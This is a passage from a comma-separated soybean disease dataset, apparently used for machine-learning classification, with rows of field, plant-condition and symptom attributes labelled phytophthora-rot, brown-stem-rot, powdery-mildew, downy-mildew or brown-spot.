?, ?, ?, ?, rotted, phytophthora-rot\napril, lt-normal, norm, norm, yes, same-lst-yr, low-areas, pot-severe, none, 90-100, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, below- \\\n soil, dk-brown-blk, absent, absent, absent, none, absent, dna, dna, norm, absent, absent, norm, absent, norm, phytophthora-rot\njuly, lt-normal, gt-norm, lt-norm, yes, same-lst-two-yrs, low-areas, severe, fungicide, 80-89, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, above- \\\n soil, dk-brown-blk, absent, absent, absent, none, absent, dna, dna, norm, absent, absent, norm, absent, norm, phytophthora-rot\njune, lt-normal, norm, norm, ?, diff-lst-year, low-areas, ?, ?, ?, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, ?, above-soil, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\njune, lt-normal, gt-norm, lt-norm, yes, same-lst-yr, low-areas, severe, none, 80-89, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, below- \\\n soil, dk-brown-blk, absent, absent, absent, none, absent, dna, dna, norm, absent, absent, norm, absent, norm, phytophthora-rot\njune, lt-normal, gt-norm, norm, ?, same-lst-yr, low-areas, ?, ?, ?, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, ?, above-soil, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\nmay, lt-normal, gt-norm, norm, ?, same-lst-yr, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, below-soil, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\napril, lt-normal, gt-norm, norm, yes, same-lst-sev-yrs, low-areas, pot-severe, none, 90-100, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, below- \\\n soil, dk-brown-blk, absent, absent, absent, none, absent, dna, dna, norm, absent, absent, norm, absent, norm, phytophthora-rot\napril, lt-normal, norm, norm, no, same-lst-two-yrs, low-areas, severe, fungicide, 90-100, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, no, above-soil, dk-brown-blk, absent, firm-and-dry, absent, none, absent, dna, dna, norm, absent, absent, norm, absent, norm, phytophthora-rot\njuly, lt-normal, gt-norm, lt-norm, yes, same-lst-yr, low-areas, severe, fungicide, 90-100, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, above- \\\n soil, dk-brown-blk, absent, absent, absent, none, absent, dna, dna, norm, absent, absent, norm, absent, norm, phytophthora-rot\njune, lt-normal, gt-norm, gt-norm, ?, same-lst-sev-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, above-sec-nde, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\napril, lt-normal, gt-norm, norm, yes, same-lst-two-yrs, low-areas, pot-severe, none, 80-89, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, below- \\\n soil, dk-brown-blk, absent, absent, absent, none, absent, dna, dna, norm, absent, absent, norm, absent, norm, phytophthora-rot\njune, lt-normal, norm, gt-norm, ?, same-lst-two-yrs, low-areas, ?, ?, ?, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, ?, above-soil, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\njune, lt-normal, gt-norm, norm, no, same-lst-yr, low-areas, severe, none, lt-80, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, below-soil, dk-brown-blk, absent, firm-and-dry, absent, none, absent, dna, dna, norm, absent, absent, norm, absent, norm, phytophthora-rot\napril, lt-normal, gt-norm, norm, yes, same-lst-sev-yrs, low-areas, pot-severe, none, lt-80, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, below- \\\n soil, dk-brown-blk, absent, absent, absent, none, absent, dna, dna, norm, absent, absent, norm, absent, norm, phytophthora-rot\nmay, lt-normal, gt-norm, norm, yes, diff-lst-year, low-areas, severe, fungicide, 80-89, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, above- \\\n soil, dk-brown-blk, absent, absent, absent, none, absent, dna, dna, norm, absent, absent, norm, absent, norm, phytophthora-rot\nmay, lt-normal, gt-norm, norm, ?, diff-lst-year, low-areas, ?, ?, ?, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, ?, below-soil, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\njuly, lt-normal, gt-norm, norm, ?, same-lst-yr, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, above-sec-nde, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\njune, lt-normal, gt-norm, norm, ?, same-lst-yr, low-areas, ?, ?, ?, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, ?, above-sec-nde, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\njuly, lt-normal, gt-norm, gt-norm, ?, same-lst-two-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, above-soil, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\nmay, lt-normal, gt-norm, norm, no, same-lst-sev-yrs, low-areas, severe, none, 80-89, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, no, below-soil, dk-brown-blk, absent, firm-and-dry, absent, none, absent, dna, dna, norm, absent, absent, norm, absent, norm, phytophthora-rot\njuly, lt-normal, norm, norm, ?, same-lst-sev-yrs, low-areas, ?, ?, ?, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, ?, above-soil, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\njune, lt-normal, gt-norm, gt-norm, ?, same-lst-yr, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, above-soil, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\njuly, lt-normal, norm, gt-norm, ?, same-lst-two-yrs, low-areas, ?, ?, ?, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, ?, above-soil, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\nmay, lt-normal, gt-norm, gt-norm, ?, same-lst-yr, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, below-soil, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\njune, lt-normal, gt-norm, gt-norm, ?, same-lst-sev-yrs, low-areas, ?, ?, ?, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, ?, above-soil, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\njuly, lt-normal, norm, norm, ?, diff-lst-year, low-areas, ?, ?, ?, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, ?, above-sec-nde, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\njune, lt-normal, gt-norm, lt-norm, yes, same-lst-yr, low-areas, severe, none, 90-100, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, below- \\\n soil, dk-brown-blk, absent, absent, absent, none, absent, dna, dna, norm, absent, absent, norm, absent, norm, phytophthora-rot\njuly, lt-normal, norm, norm, ?, same-lst-yr, low-areas, ?, ?, ?, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, ?, above-sec-nde, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\njune, lt-normal, gt-norm, gt-norm, ?, same-lst-yr, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, below-soil, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\nmay, lt-normal, gt-norm, lt-norm, yes, diff-lst-year, low-areas, severe, fungicide, 90-100, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, above- \\\n soil, dk-brown-blk, absent, absent, absent, none, absent, dna, dna, norm, absent, absent, norm, absent, norm, phytophthora-rot\njuly, lt-normal, gt-norm, norm, ?, same-lst-two-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, above-soil, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\njuly, lt-normal, gt-norm, norm, ?, same-lst-sev-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, above-sec-nde, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\njuly, lt-normal, norm, lt-norm, yes, same-lst-two-yrs, low-areas, severe, fungicide, lt-80, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, above- \\\n soil, dk-brown-blk, absent, absent, absent, none, absent, dna, dna, norm, absent, absent, norm, absent, norm, phytophthora-rot\njuly, lt-normal, gt-norm, gt-norm, ?, same-lst-two-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, above-sec-nde, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\naugust, normal, lt-norm, norm, yes, same-lst-yr, whole-field, pot-severe, fungicide, lt- \\\n 80, norm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, absent, dna, absent, absent, absent, brown, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-stem-rot\naugust, normal, lt-norm, norm, yes, same-lst-yr, whole-field, pot-severe, fungicide, lt- \\\n 80, norm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, absent, dna, absent, absent, absent, brown, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-stem-rot\njuly, lt-normal, lt-norm, lt-norm, yes, same-lst-sev-yrs, scattered, pot-severe, fungicide, lt- \\\n 80, abnorm, norm, absent, dna, dna, absent, absent, absent, abnorm, yes, absent, tan, absent, absent, absent, brown, absent, norm, dna, norm, absent, absent, norm, absent, norm, brown-stem-rot\nseptember, normal, lt-norm, gt-norm, yes, same-lst-yr, whole-field, pot-severe, fungicide, lt- \\\n 80, norm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, absent, dna, absent, absent, absent, brown, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-stem-rot\nseptember, normal, lt-norm, gt-norm, yes, same-lst-two-yrs, whole-field, pot-severe, fungicide, 80- \\\n 89, norm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, absent, dna, absent, absent, absent, brown, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-stem-rot\naugust, normal, lt-norm, norm, yes, same-lst-sev-yrs, upper-areas, pot-severe, none, 80- \\\n 89, norm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, absent, dna, absent, absent, absent, brown, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-stem-rot\nseptember, normal, lt-norm, norm, no, same-lst-sev-yrs, whole-field, pot-severe, none, lt-80, abnorm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, abnorm, no, absent, tan, absent, absent, absent, brown, absent, norm, dna, norm, absent, absent, norm, absent, norm, brown-stem-rot\noctober, normal, norm, norm, no, same-lst-two-yrs, scattered, pot-severe, fungicide, 90-100, abnorm, norm, absent, dna, gt-1/ \\\n 8, absent, absent, absent, abnorm, no, absent, tan, absent, absent, absent, brown, absent, norm, dna, norm, absent, absent, norm, absent, norm, brown-stem-rot\nseptember, lt-normal, lt-norm, lt-norm, yes, same-lst-sev-yrs, upper-areas, pot-severe, none, 90- \\\n 100, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, no, absent, tan, absent, absent, absent, brown, absent, norm, dna, norm, absent, absent, norm, absent, norm, brown-stem-rot\nseptember, lt-normal, lt-norm, norm, yes, same-lst-yr, whole-field, pot-severe, fungicide, 90-100, abnorm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, abnorm, no, absent, tan, absent, absent, absent, brown, absent, norm, dna, norm, absent, absent, norm, absent, norm, brown-stem-rot\naugust, normal, norm, lt-norm, no, same-lst-two-yrs, whole-field, pot-severe, fungicide, lt- \\\n 80, abnorm, norm, absent, dna, dna, absent, absent, absent, abnorm, no, absent, tan, absent, absent, absent, brown, absent, norm, dna, norm, absent, absent, norm, absent, norm, brown-stem-rot\naugust, lt-normal, lt-norm, lt-norm, yes, same-lst-sev-yrs, upper-areas, pot-severe, fungicide, 80-89, abnorm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, abnorm, no, absent, tan, absent, absent, absent, brown, absent, norm, dna, norm, absent, absent, norm, absent, norm, brown-stem-rot\naugust, normal, lt-norm, norm, yes, same-lst-two-yrs, scattered, pot-severe, fungicide, 90- \\\n 100, norm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, absent, dna, absent, absent, absent, brown, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-stem-rot\njuly, lt-normal, lt-norm, lt-norm, yes, same-lst-two-yrs, scattered, severe, none, 80-89, abnorm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, abnorm, yes, absent, tan, absent, absent, absent, brown, absent, norm, dna, norm, absent, absent, norm, absent, norm, brown-stem-rot\nseptember, normal, lt-norm, norm, yes, same-lst-sev-yrs, upper-areas, pot-severe, none, 80- \\\n 89, norm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, absent, dna, absent, absent, absent, brown, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-stem-rot\naugust, normal, lt-norm, norm, yes, same-lst-sev-yrs, whole-field, pot-severe, fungicide, 90- \\\n 100, norm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, absent, dna, absent, absent, absent, brown, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-stem-rot\naugust, normal, lt-norm, norm, yes, same-lst-sev-yrs, upper-areas, pot-severe, none, lt- \\\n 80, norm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, absent, dna, absent, absent, absent, brown, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-stem-rot\naugust, normal, lt-norm, norm, yes, same-lst-yr, upper-areas, pot-severe, fungicide, lt- \\\n 80, norm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, absent, dna, absent, absent, absent, brown, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-stem-rot\naugust, normal, lt-norm, norm, yes, same-lst-yr, upper-areas, pot-severe, none, 90- \\\n 100, norm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, absent, dna, absent, absent, absent, brown, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-stem-rot\njuly, normal, lt-norm, norm, yes, same-lst-sev-yrs, upper-areas, pot-severe, none, 90- \\\n 100, norm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, absent, dna, absent, absent, absent, brown, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-stem-rot\nseptember, normal, lt-norm, norm, no, same-lst-sev-yrs, whole-field, pot-severe, none, 80-89, norm, abnorm, absent, dna, dna, absent, absent, upper- \\\n surf, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, powdery-mildew\noctober, normal, norm, lt-norm, no, diff-lst-year, scattered, minor, fungicide, lt-80, norm, abnorm, absent, dna, dna, absent, absent, upper- \\\n surf, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, powdery-mildew\nmay, lt-normal, lt-norm, norm, yes, same-lst-sev-yrs, whole-field, pot-severe, other, 90-100, norm, abnorm, absent, dna, dna, absent, absent, upper- \\\n surf, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, powdery-mildew\noctober, lt-normal, norm, lt-norm, yes, same-lst-two-yrs, upper-areas, minor, fungicide, lt-80, norm, abnorm, absent, dna, dna, absent, absent, upper- \\\n surf, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, powdery-mildew\naugust, lt-normal, norm, lt-norm, yes, same-lst-two-yrs, upper-areas, minor, other, 90-100, norm, abnorm, absent, dna, dna, absent, absent, upper- \\\n surf, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, powdery-mildew\noctober, normal, lt-norm, norm, no, same-lst-yr, low-areas, pot-severe, none, lt-80, norm, abnorm, absent, dna, dna, absent, absent, upper- \\\n surf, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, powdery-mildew\njune, lt-normal, norm, lt-norm, yes, same-lst-two-yrs, upper-areas, minor, none, 80-89, norm, abnorm, absent, dna, dna, absent, absent, upper- \\\n surf, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, powdery-mildew\noctober, lt-normal, lt-norm, norm, yes, same-lst-yr, low-areas, pot-severe, fungicide, lt-80, norm, abnorm, absent, dna, dna, absent, absent, upper- \\\n surf, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, powdery-mildew\nseptember, lt-normal, lt-norm, norm, yes, same-lst-yr, low-areas, pot-severe, none, 80-89, norm, abnorm, absent, dna, dna, absent, absent, upper- \\\n surf, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, powdery-mildew\nmay, lt-normal, lt-norm, norm, yes, same-lst-yr, low-areas, pot-severe, other, 90-100, norm, abnorm, absent, dna, dna, absent, absent, upper- \\\n surf, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, powdery-mildew\noctober, normal, gt-norm, lt-norm, no, same-lst-two-yrs, low-areas, minor, fungicide, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, present, lower-surf, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, abnorm, present, absent, norm, absent, norm, downy-mildew\njune, normal, gt-norm, norm, no, same-lst-yr, low-areas, pot-severe, fungicide, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, present, lower- \\\n surf, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, abnorm, present, absent, norm, absent, norm, downy-mildew\nmay, normal, gt-norm, norm, no, same-lst-sev-yrs, upper-areas, pot-severe, none, 80-89, norm, abnorm, yellow-halos, w-s-marg, gt-1/8, absent, absent, lower- \\\n surf, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, abnorm, present, absent, norm, absent, norm, downy-mildew\naugust, lt-normal, gt-norm, gt-norm, yes, same-lst-two-yrs, upper-areas, pot-severe, none, 80-89, norm, abnorm, yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, present, lower-surf, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, abnorm, present, absent, norm, absent, norm, downy-mildew\nmay, normal, gt-norm, lt-norm, no, diff-lst-year, scattered, pot-severe, none, 80-89, norm, abnorm, yellow-halos, w-s-marg, gt-1/8, absent, absent, lower- \\\n surf, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, abnorm, present, absent, norm, absent, norm, downy-mildew\njune, lt-normal, gt-norm, lt-norm, yes, same-lst-sev-yrs, scattered, pot-severe, none, 80-89, norm, abnorm, yellow-halos, w-s-marg, gt-1/8, absent, absent, lower- \\\n surf, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, abnorm, present, absent, norm, absent, norm, downy-mildew\njune, lt-normal, gt-norm, norm, yes, same-lst-two-yrs, scattered, pot-severe, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, lower- \\\n surf, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, abnorm, present, absent, norm, absent, norm, downy-mildew\naugust, lt-normal, gt-norm, gt-norm, yes, same-lst-two-yrs, low-areas, minor, fungicide, lt-80, norm, abnorm, yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, lower-surf, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, abnorm, present, absent, norm, absent, norm, downy-mildew\naugust, lt-normal, gt-norm, lt-norm, yes, same-lst-yr, upper-areas, pot-severe, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, lower-surf, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, abnorm, present, absent, norm, absent, norm, downy-mildew\nseptember, lt-normal, gt-norm, norm, yes, same-lst-sev-yrs, upper-areas, pot-severe, none, 80-89, norm, abnorm, yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, lower-surf, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, abnorm, present, absent, norm, absent, norm, downy-mildew\nmay, lt-normal, gt-norm, gt-norm, no, same-lst-sev-yrs, whole-field, pot-severe, none, lt-80, abnorm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\njune, normal, gt-norm, norm, yes, same-lst-two-yrs, whole-field, pot-severe, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\njune, normal, gt-norm, norm, yes, same-lst-two-yrs, whole-field, pot-severe, fungicide, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\njune, normal, gt-norm, norm, yes, same-lst-yr, scattered, pot-severe, other, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\nmay, lt-normal, gt-norm, gt-norm, no, same-lst-sev-yrs, whole-field, pot-severe, fungicide, 80-89, abnorm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\nmay, lt-normal, gt-norm, norm, yes, same-lst-two-yrs, whole-field, pot-severe, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\napril, lt-normal, gt-norm, gt-norm, no, same-lst-sev-yrs, whole-field, pot-severe, other, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\njune, normal, gt-norm, norm, yes, same-lst-two-yrs, whole-field, pot-severe, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\nmay, normal, gt-norm, norm, yes, same-lst-two-yrs, whole-field, pot-severe, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\njune, lt-normal, gt-norm, norm, yes, same-lst-sev-yrs, whole-field, pot-severe, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\nseptember, normal, gt-norm, norm, yes, same-lst-two-yrs, upper-areas, pot-severe, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, abnorm, yes, above-sec- \\\n nde, brown, present, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\nmay, lt-normal, gt-norm, norm, yes, same-lst-sev-yrs, whole-field, pot-severe, fungicide, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\nmay, normal, gt-norm, norm, yes, same-lst-sev-yrs, whole-field, pot-severe, other, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\naugust, normal, gt-norm, norm, yes, same-lst-yr, whole-field, pot-severe, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, abnorm, yes, above-sec- \\\n nde, brown, present, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\nmay, normal, gt-norm, norm, yes, same-lst-two-yrs, whole-field, pot-severe, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\naugust, lt-normal, gt-norm, norm, yes, same-lst-sev-yrs, whole-field, pot-severe, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, abnorm, yes, above-sec- \\\n nde, brown, present, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\njune, normal, gt-norm, norm, yes, same-lst-sev-yrs, whole-field, pot-severe, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\napril, lt-normal, norm, norm, no, same-lst-two-yrs, upper-areas, minor, other, 80-89, abnorm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\nmay, lt-normal, norm, norm, no, same-lst-two-yrs, scattered, minor, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\nmay, lt-normal, gt-norm, norm, yes, same-lst-yr, scattered, pot-severe, other, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\nmay, normal, gt-norm, norm, yes, same-lst-yr, whole-field, pot-severe, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, abnorm, yes, above-sec- \\\n nde, brown, present, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\njune, normal, gt-norm, norm, yes, same-lst-sev-yrs, whole-field, pot-severe, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\njuly, normal, gt-norm, norm, yes, same-lst-two-yrs, whole-field, severe, other, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, absent, tan, present, firm-and-dry, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\njune, lt-normal, gt-norm, gt-norm, no, same-lst-sev-yrs, low-areas, pot-severe, fungicide, 90-100, abnorm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\nmay, normal, gt-norm, norm, yes, same-lst-two-yrs, whole-field, pot-severe, other, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\nmay, lt-normal, gt-norm, norm, yes, same-lst-two-yrs, whole-field, pot-severe, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\nseptember, normal, gt-norm, norm, yes, same-lst-yr, whole-field, pot-severe, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, abnorm, yes, above-sec- \\\n nde, brown, present, 